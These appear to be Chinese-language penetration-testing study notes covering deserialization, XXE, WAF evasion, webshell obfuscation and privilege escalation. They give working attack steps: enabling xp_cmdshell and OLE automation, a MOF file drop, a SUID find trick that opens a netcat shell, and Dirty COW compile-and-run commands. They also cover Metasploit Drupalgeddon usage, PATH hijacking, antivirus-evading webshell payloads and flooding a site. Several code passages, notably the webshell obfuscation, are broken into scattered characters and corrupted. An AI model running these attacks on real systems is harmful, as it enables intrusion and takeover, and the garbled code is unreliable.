传入反序列化参数----调用某个函数-----》绕过判断—》函数结束的时候就会调用析构函数—》执行析构函数其特定的内容-----》…
层层绕过,寻找逻辑漏洞,绕过if =和=
序列化是为了方便编程人员在传递对象参数时而使用的,且大多数的类都定义了其魔法方法,且这些魔法方法会在特定的时候调用,因此,心怀不轨的人就可以利用这种自动调用的特性 来构造代码,利用各种方法来触发其魔法方法,并最终达到渗透的目的, 这种反序列化的成因大都是代码编写人员的逻辑不够严谨造成的,存在漏洞。 但是这种漏洞的利用也是十分困难的,因为在真实情况下,我们对于目标网站的代码信息是一无所知的,不可能说能够慢慢的审计其代码,寻找其中大的漏洞。
反序列化之java
反序列化 配合命令执行
rO0AB…序列化+base64
ace…单纯的反序列化
反弹shell ysoserial 工具
通过网页的回显来来判断其受否 存在序列化和反序列化 二者且与不可 ,当我们看到了read…返序列化函数 write…序列化函数时 ,就可以考虑是否存在反序列化漏洞, 且还要通过看序列化之后的字符串开头 来判断其是单纯的序列化,还是序列化和base64的联合使用。 当我们判断其存在序列化和反序列化 且得知了其加密状态时 就可以通过利用ysoserial工具来生成 具有攻击效果的序列化语句,将其当道输入框中进行执行 , 并最终反弹shell或者是窃取数据
XXE&&XML之利用检测与绕过
xml是一种传输和存储数据的类型
而xxe是漏洞 是xml外部实体注入漏洞 xxe漏洞发生在应用程序解析xml输入时,没有禁止外部实体的加载 导致可加载恶意外部文件,造成文件读取,命令执行,内网端口扫描,攻击内网
当我们判断到此处存在xml时 便可以插入 xml代码 使用协议流的方式来进行攻击 列入
联合使用rce 时 需要目标服务器 剀切相关的模块
外部实体dtd 有点类似于之前讲到的远程文件包含 在远程创建一i个.dtd的xml文件 ,再通过文件流的方式来远程访问.dtd文件,
这种方式可以绕过 服务器端多插入语句的过滤
当后端服务器无回显时 我们就无法像之前那样直观的看到文件信息
因此我们就可以 通过中转站的方式来进行查看
step1:读取到目标服务器的文件信息,将其存放在一个名为fie的变量中
step2:再远程调用一个我们事先写好的dtd文件。这个dtd文件的内容就是将file
变量的内容能进行输出
step1 和step2 的代码内容 都一次性写到那个注入语句中 在自己的客户端创建一个.dtd文件
日志读取 文件接受代码
xml的绕过
step1:编码绕过 UTF-16BE
step2:等价函数函数绕过 http file php data
黑盒测试 用数据包抓 查看其是否存在xml的mime类型 或者是 是否存在 …
白盒测试 代码审计 查看其是否存在xml 有xml的话 就可以再数据传输的地方输入xml的payload 进行测试
修改类型 为 xml 并跟上相应的payload类型 盲猜 在数据包中进行更改
vulnhub.com 靶场
系统漏洞
首先面对操作系统 我们在攻击之前应该对其进行信息收集 收集完成之后 可以使用一些扫描工具 nmap nessuse 等进行扫描 (推荐使用nessuse 更能更加的强大 ,扫描的层次更加深) 当我们通过扫描,得到系统存在某些漏洞之后 就看可以去网上搜索这些漏洞的复现过程 或者是去个别网站搜索其exp 不同的人写exp可能版本不同 语言不通 ,因此我们在具体使用的时候要具体情况具体分析 。
同时 我们也可以通过使用 忍者系统集成的exp来搜索 来进行 搜索 搜索完成后 可以使用 漏洞利用框架msf 来直接进行攻击
单点exp利用
search … 查找相关漏洞
use … 使用哪个模块漏洞
show options 显示选项
set rhosts 192.168.1.1
run
防护 升级补丁 关闭端口 防护软件 防火墙
web应用 漏洞发现
已知cms dedecms discuz 等 得知其cms之后 便可以去网上搜索去公开的漏洞 , 如果么有的话 就需要进行代码审计 白盒测试
开发框架 thinkphp spring flask 等 先获取对应的开发框架信息,通过搜索公开的框架安全类问题 ,有则直接利用 反之则代码审计白盒测试
未知cms 企业内部或者个人的私有代码 ,在网上搜索不到其源码信息,也可能是已知cms的第二次开发。 首先判断其是不是二次开发的cms 是的话 则还是按照常规cms的漏洞利用方法。 当不是二次开发时 则需要使用常规的综合类扫描工具 或者是进行代码审计
cnvd
seebug
1337day
exploit-db
Packetstorm Security
cmsscan
wpscan
joomscan
drupalscan
函数点挖掘
功能点挖掘
框架类挖掘
app的漏洞探针利用以及修复
- 反编译提取apk文件中的url
- 通过数据抓包,来获取url
如果不存在http、https等协议时 我们就需要采取网络接口进行抓包,并且转至其他协议进行安全测试 wireshark
通过抓取app的数据包,在其中进行筛选,已得到其网站的域名信息
再通过web渗透的方式进行攻击,扫描,注入,上传 等
唯一性,服务器只允许从app访问,当从电脑进行修改时,会进行报错
绕过方法:抓取电脑-----服务器的数据包,将其进行修改,伪装成手机访问
扫描工具扫描的前提是能访问到其网站 修改抓包巩固的http头部 被动扫描
抓包精灵 fiddler burp suite charles(茶杯抓包工具)
利用apk反向编译提取工具 直接提取apk文件包中的url地址
apk文件中有某个代码 (存在漏洞,铭感信息),但是其并没有在app里面体现出来。我们就可以通过apk反编译 以此来将那个没体现的代码体现出来
利用burp suite 联合 xray 打出军体拳 已解决网站服务器的唯一性
app---->burp suite —>xray
同理联动dwvs
漏洞发现
子域名收集 whois 域名注册查询
不同的域名对应着不同的网页 , 也就增加了攻击思路 。
更改端口号 来判断其是否存在多个网页 ,,也以此来增加其攻击
扫域名 扫ip 扫端口 扫功能点
waf绕过-信息收集之反爬虫
铸件实战靶场: 模拟用户的真是请求 如果存在大量的误报 则可以选择更改请求方式为 get post
- 信息收集
- 漏洞发现
- 漏洞利用
- 权限控制
安全狗cc 数据访问流量控制
绕过方式:
增加时间间隔,延迟扫描
使用代理池
url白名单,百度等
请求方式
模拟用户
爬变好引擎
白名单机制
cc攻击 100个代理同时访问网站 且不关闭其链接 最终导致目标服务器cpu100% 崩溃
阿里云 安全狗 宝塔 三重防御 要挨个测试其绕过方式,再最终取其交集
当发现其对我们的字典关键字进行了拦截时(index.php.back) 我们可以考虑优化字典 例如上传文件时使用到的 加空格 加点 以及编码等…还有换行等
waf绕过----代理池指纹被动探针
awvs xray nessus nmap
awvs发送数据包------burpsuite 作为中转站------xray
代理池 慢速 白名单url 工具指纹
当工具被拦截时 我们就要考虑更改数据包的指纹头
漏洞Payload-(数据变异,效据加密,白名单)
不同的工具探测漏洞的方式不同,因此当a扫描器被干掉之后 可以尝试b或者还是c
权限控制
代码免杀
对文件进行木马扫描 对传输内容进行扫描 对指纹进行扫描 对行为进行扫描
变量覆盖加参数传递的方法,变量拼接,来绕过waf和安全软件
a
=
a=
a= GET[‘x’];
$
a
=
a=
a= GET[ 'y '];
b
(
b (
b(_POST[‘Z’]);
将敏感的传参关键字进行加密
加密混淆 代码加密 通过脚本生成亦或一句话木马,虽说这种能够免杀,但是不一定能够被菜刀和蚁剑等识别,不一定能连接的上
后门原理 ,一句话木马
菜刀 单向加密
冰蝎 扩展性强,在更新,且双向加密传输,加了密的数据,对于绕过waf检测有一定成效
漏洞利用
通过上面的学习,用漏洞扫描工具等扫到了漏洞之后
在进行漏洞攻击时 任然需要考虑到如何绕过对方的waf 比如说 挂代理池 放慢速度 修改数据包的内容来模仿真实用户 同时在必要的时候,对工具的内容进行更改 例如sqlmap的tamper 以此来绕过对方waf对于所传递参数的检查 考虑对方都做了什么过滤 过滤关键字,过滤大小写,过滤/* --+ 空格 %23 等等
还有就是当我们使用冰蝎等攻击进行权限保持时,需要考虑一下对方防火墙对于我们所上传的木马的检查,要适当的做一下木马免杀,其方法包括 传参,异或,本地脚本加密 或者是网上的工具加密 还有就是对于上传参数,在必要的时候也需要进行加密
对于敏感字符被过滤 , 考虑加密 ,base64 ,当basse64被过滤 则可以考虑其他的可逆的算法精心加解密
单个字符替换,拆分组合 txt=$y=str_replace(‘x ," ;" pxhpxinxfo(’);assert(Sy;&submit=%E6%8F%90%E4%BA%A4
txt=
x
=
′
a
s
s
e
′
;
x='asse';
x=′asse′;xx=‘rt’;
x
x
=
xx=
xx=x.
x
x
s
xxs
xxsy=str_replace(‘x’ " pxhpxinxfo();
x
x
(
xx(
xx(y);&submit=%E6%8F%90%E4%BA%A4
txt=
x
=
′
a
s
s
e
’
x='asse’
x=′asse’sxx=
R
E
Q
U
E
S
T
[
×
′
]
;
_REQUEST[×'];
REQUEST[×′];x=
x
.
x.
x.xz
y
=
s
t
r
r
e
p
l
a
c
e
(
x
′
"
"
p
x
h
p
x
i
n
x
f
o
(
)
)
;
y=str_replace(x'" "pxhpxinxfo());
y=strreplace(x′""pxhpxinxfo());xx($Sy);&submit=%E6%8F%90%E4%BA%A4
代码还没学习过 , 代码审计暂时不学习
内网提权
后台权限获取
漏洞权限获取(单点,组合)
第三方权限获取
已知程序—》网上找源码,网上搜资料 通过相似的源码 来获取到他的后台路径
从后台的功能点进行权限的提升 ,注入,模板修改,文件上传等 ,就到处翻,疯狂测试那些二铭感的功能点‘’
后渗透 内网穿刺 域渗透
单点漏洞
#具体有邮些伙展需发找天自札了群宇姬的?
后台权限,网站权限,数据库权限,接口权限,系统权限,域控权限等
后台权限:(获得方式:爆破,注入猜解,弱口令等获取的帐号密码配合登录)
一般网站或应用后台只能操作应用的界面内容数据图片等信息,无法操作程序的源代码或服务器上的资源文件的。(如后台功能存在文件操作的话也可以操作文件数据)
网站权限:(获得方式:以上三种思路获取)
查看或修改程序源代码,可以进行网站或应用的配置文件读取(接口配置信息,数据库配置信息等),还能收集服务器操作系统相关的信息,为后续系统提权做准备。
数据库权限:
操作数据库的权限,数据库的增删改等,源码或配置文件泄漏,也可能是网站权限( webshelly进行的数据库配置文件读取获得。
提权
本地提权
web
提权
systeminfo 打印系统信息 补丁啥的
whoami 获得当前用户名
whoami /rt 当前帐户权限
ipconfig 网络配置信息
ipconfig /displaydns 显示DNS缓存
route print 打印出路由表
arp -a 打印arp表
hostname 主机名
net user 列出用户
net user UserName 关于用户的信息
net use lSMBPATH Pa$$wOrd /u:UserName 连接SMB
net localgroup 列出所有组
net localgroup GROUP 关于指定组的信息
net view \127.0.0.1 会话打开到当前计算机
net session 开放给其他机器
netsh firewall show config 显示防火墙配置
DRIVERQUERY 列出安装的驱动
tasklist /svc 列出服务任务
net start 列出启动的服务
dir /s foo 在目录中搜索包含指定字符的项
dir /s foo == bar 同上
sc query 列出所有服务
sc qc ServiceName 找到指定服务的路径
shutdown /r /t 0 立即重启
type file.txt 打印出内容
icacls“C:Example" 列出权限
wmic qfe get Caption,Description,HotFixlD,InstalledOn 列出已安装的布丁
普通用户 管理员 系统用户
溢出漏洞
信息收集 ------补丁筛选
vulmap, wes,windowsvulnscan 三个工具
vulmap ps1 文件 需要powershell 才能执行
wesng 将systeminfo 导出来的补丁信息 和他的补丁库中的进行对比 看他那些补丁没有打,然后将那些没有打的导出来 然后给出可能的漏洞
漏洞扫描到了 就该利用了 如何利用 msf 和 exp
特定exp : 将漏洞的对应的那个编码 放到github上面去搜索 可查询到别人公开的漏洞信息,和提权工具
但是msf的优先级还是更加的高 ,因为其是别人开发出来的,漏洞的使用成功率更加的高。但是msf会涉及到一个更新的我呢提 ,可能某个最近的漏洞他就没有 ,这时候就可以去网上搜索了
MSF结合云服务器搭建组合组合拳?模拟上述操作实战演练?
搭建: https : / / www . cnblogs.com/M0rtais/p/11920903.html
at sc ps 利用系统本身的不严谨性进行提权
2003 at提权 at xxxx
sc
ps
总结:我们利用之前学习的漏洞,(文件上传啥的,xml) 可以通过拿到web的的权限,但是这个权限不是很高的,可能只是一个web权限, 或者是反弹了一个低等级的shell ,就算是从外网打到内网了 ,这时候要对内网继续进行渗透的话,就需要进行提权操作,今天这里讲到的就是溢出漏洞提权, 当我们拿到了一个web的权限时 ,首先需要利用这个权限进行信息收集 比如说 windows 的systeminfo whoami来获取其系统信息 linux的uname-a来获取其版本信息 获取了这些个信息之后 可以利用收集到的信息加上工具进行信息比对,查看其那些补丁没有打,而这些没有打的补丁有对应了什么漏洞,然后就是对这些漏洞进行利用,利用的方法有两种,第一种就是通过网上信息搜索,进行手工提权,再者就是利用msf进行提权,二者的利弊前面已经提到了。
上述所说到的三个工具 vulmap , wes,windowsvulnscan. 都是用于产看操作系统补丁情况的
但是vulmap是需要用到powershell的 因此不适用于 web提权 而且对于windows不是很适用 本地提权(cmd窗口)
wes 是我们提前通过systeminfo 得到了操作系统的信息之后,将其拷贝下来,再在本地运行wes ,进行版本补丁的对比
windows… 也是需要用到powershell 本地提权(cmd窗口)
ps at sc 利用其操作系统本身的不严谨性,来实现本地提权
数据库提权
my ms ora 提权
探针 (开放端口和服务) 收集信息(权限密码:配置文件 储存文件 暴力破解 其他方式)
mysql : UDF
手工创建plugin目录或利用NTFS流创建 select ‘x’ into dumpfile '目录/lib/plugin : :INDEX_ALLOCATION ';
mysql<5.1 导出目求 C∶/ wlndowSsystem31
(进入到其安装目录之后执行)mysql=>5.1导出安装目录 /lib/plugin/
select @@basedir; 查看数据库的安装目录
MOF:
创建一个mof文件 就将其导入到 nullevt.mof
select load_file('D:\wamplxishaonian.mof ') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof
2/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建,导入之后 就坐等查看用户是否创建成功
启动项
通过mysql的导出,来讲我们的木马脚本啥的,到处到对方服务器的开机启动项中去,当其服务器重启时,就会加载我们的脚本 (修改注册表)
反弹shell
msf提权,需要mysq的外联
拿到数据库权限之后,可以通过查看其配置文件和储存文件来获取相关的账号密码信息 , 当我们通过这个方法么有找到信息时, 可以考虑暴力破解,但是破解又无法对root用户生效,因此这里就不能够使用工具在我们的客户端进行暴力破解 , 而是上传暴力破解的脚本,在服务器那段进行暴力破解 要针对目标的运行环境来选择python 或者是 java
xxxxx.MVD 存储内容的文件
mssql: 通过翻阅其配置文件来获取sa及其密码 且默认情况下这个账户时支持外联
xp_cmdshell
这个提权方式的前提是mssql数据库的sys.xp-cmdshell 是开启状态的‘’
开启命令 { EXEC sp_configure 'show advanced options ', 1
RECONFIGURE;
EXEc sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
}
在此基础上 执行 EXEC mareter.dbo . xp_cmdshel1 ‘命令’
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。
启用:
EXEC sp_configure ‘show advanced options’, 1RECONFIGURE;
EXEc sp_configre ‘xp_cmdshell’,1;
RECONFIGURE;
关闭:
exec sp_configure ‘show advanced options’ , 1;reconfigure;
exec sp_configure ‘xp_cmdshell’, 0;reconfigure;
执行:
EXEC master.dbo. xp_cmdshell ‘命令’
如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复
exec master.sys.sp_addextendedproc ‘xp_cmdshell’, ‘C: \ProgramFiles\Microsoft sQL server\MssQL\Binn\xplog70.dll’
sp_oacreate
主要是用来调用oLE对象,利用oLE对象的run方法执行系统备令。启用:
EXEC sp_configure ‘show advanced options’ , 1;RECONFIGURE WITH OVERRIDE;
EXEC sp_configure ‘ole Automation Procedures’, 1;
RECONFIGURE W工TH OVERRIDE;
关闭:
EXEc sp_configure ‘show advanced options’ , 1;RECONFIGURE wITH OVERRIDE;
EXEC sp_configure ‘ole Automation Procedures’, 0;RECONF工GURE WITH OVERRIDE;
执行:
declare shell int exec sp_oacreate 'wscript.shell ’ ,@shelloutput exec sp_oamethod shell, 'run ’ ,null, ‘c :
lwindowslsystem32 \ cmd.exe lc whoami >c: i l1.txt’
sp_oamethod
沙盒模式
映像劫持
oracle : 普通用户
DBA用户
注入模式
提权工具 oracle shell
普通用户模式:
前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令。
DBA用户模式:(自动化工具演示)
拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。
注入提升模式:(sqlmap测试演示)
拥有一个oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显,需要自己验证。
redis 提权
利用计划任务执行命令反弹shell
写ssh-keygen公钥使用私钥登陆
低权限写webshell
直接查到他的账户密码 利用其位数全漏洞 执行相关的漏洞 , 获取高权限(因为是root创建的redis 所以redis也就是root权限)
postgresql提权
CVE-2018-1058
CVE-2019-9193
令牌窃取权限提升 获取到地权限用户后 三条命令,且渠道system全年
进程注入权限提升
烂土豆&ddl&引号路径&服务权限
烂土豆: 上传烂土豆-执行烂土豆-利用窃取模块-窃取sYSTEM-成功 需要netforwork 4.0 才
单纯的令牌窃取至少需要一个本地权限,web权限无法提权,需要配合之烂土豆进行权限的提升
windows通杀
热土豆:
ddl提权:dll劫持提权需要特定软件应用的控制权限及启用配合,复杂鸡肋
flash fpx 第三方软件 且管理员允许那个第三方软件
火绒剑查看第三方软件所涉及到的ddl进程
过程:信息收集-进程调试-制作dl1并上传-替换dl正启动应用后成功
windows通杀
#案例4: win2012-不带引号服务路径配合MSF-web,本地权限
原理:当windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。过程:检测引号服务路径-利用路径制作文件并上传-启用服务或重启-调用后成功wmic service get name ,displayname,pathname,startmode | findstr/ i “Auto” |findstr /i /v "C: \windows \ “l findstr
/i /v “””
linux提权
#案例1一Linux提权自动化脚本利用-4个脚本
两个信息收集:LinEnum , linuxprivchecker
两个漏洞探针:linux-exploit-suggester linux-exploit-suggester2
需要解释:信息收集有什么用哦?漏洞探针又有什么用哦?
上传lin…至 /tmp 目录下 执行它 不能执行就通过更改其权限777 或者是 +x
SUID 直接和权限挂钩 给xxx文件赋予s权限之后 ,这个文件在执行的时候就会以root的全权限来执行
#案例2-工inux提权suID配合脚本演示-vulhub漏洞成因: chmod u+s给予了suid u-s删除了suid使程序在运行中受到了suid root权限的执行过程导致
提权过程:探针是否有sUID(手工或脚本)-特定sUIb利用-利用吃瓜-GGfind / -user root -perm -4000 -print 2>/ dev/ nullfind / -perm -u=s -type f 2>/dev /null
find / -user root -perm -4000 -exec ls -ldb { }l;
参考利用: https : / /pentestlab.blog/2017/09/25/ suid-executables/touch xiaodi
find xiaodi -exec whoami l;
find xiaodi -exec netcat -lvp 5555 -e /bin/sh l ;
#案例3-工inux提校本地配合内核漏洞演示-Mozhe
提权过程:连接-获取可利用漏洞-下载或上传ExP-编译ExP-给权限执行-cG
gcc 45010.c -o 45010
chmod +x 45010
./45010
id
#案例4-Linux提权脏牛内核漏洞演示-linux-exploit-suggester内核提权整个过程:(linux-exploituggester获取信息哦)
vulnhub靶机-探针目标-cus漏洞利用-脚本探针提权漏洞-利用内核提权-cG内核漏洞提权过程:寻可用-下exp-上/tmp-编译exp-执行(无权限用chmod)nmap 192.168.76.0/24
nmarch drupal
use exploit/unix/webapp/drupal_drupalgeddon2set lhost 192.168.76.141
set lport 1898
set target o
run
upload / tmp / 40837.cpp / tmp/ 40837.cpp
g+±-wall -pedantic -o2 -std=c++11 -pthread -o dcow 40847.cpp-lutil
python -c ‘import pty; pty .spawn (" /bin/bash")’./ dcow
./dcow
环境变量提权
配合SUID进行环境变量提权-本地用户环境
手写调用文件-编译-复制文件-增加环境变量-执行触发
gcc demo.c -o shell
cp /bin / sh /tmp/ps
export PATH=/tmp : $PATH
./shell
id
代码审计
特定函数
输出print
数据库操作
特定关键字:
select insert update sq|执行语句== sq|注入漏洞
搜索特定关键字尝试寻找特定漏洞
如:搜索echo print尝试挖掘的就是xss漏洞
如:搜索$_ GET $_ _POST尝试挖掘的就是安全漏洞
定点挖掘功能点:
如:我要挖掘文件上传,会员中心存在文件上传的操作地址,抓包分析找到源码中的特定文件代码段,进行文件上传代码分析挖掘!
拓展:视漏洞而定
sql注入 数据监控,监控当前页面和数据库的交互过程(sql注入语句)
断点调试:访问页面对应代码进行断点调试
魔术开关
二次注入
第一次插入时 xiaodi’ ------->xiaodi’
当我们从数据库中取出来的时候 胡变成 xiaodi’-------->xiaodi’
骑士cms
insert into
update
宽字节注入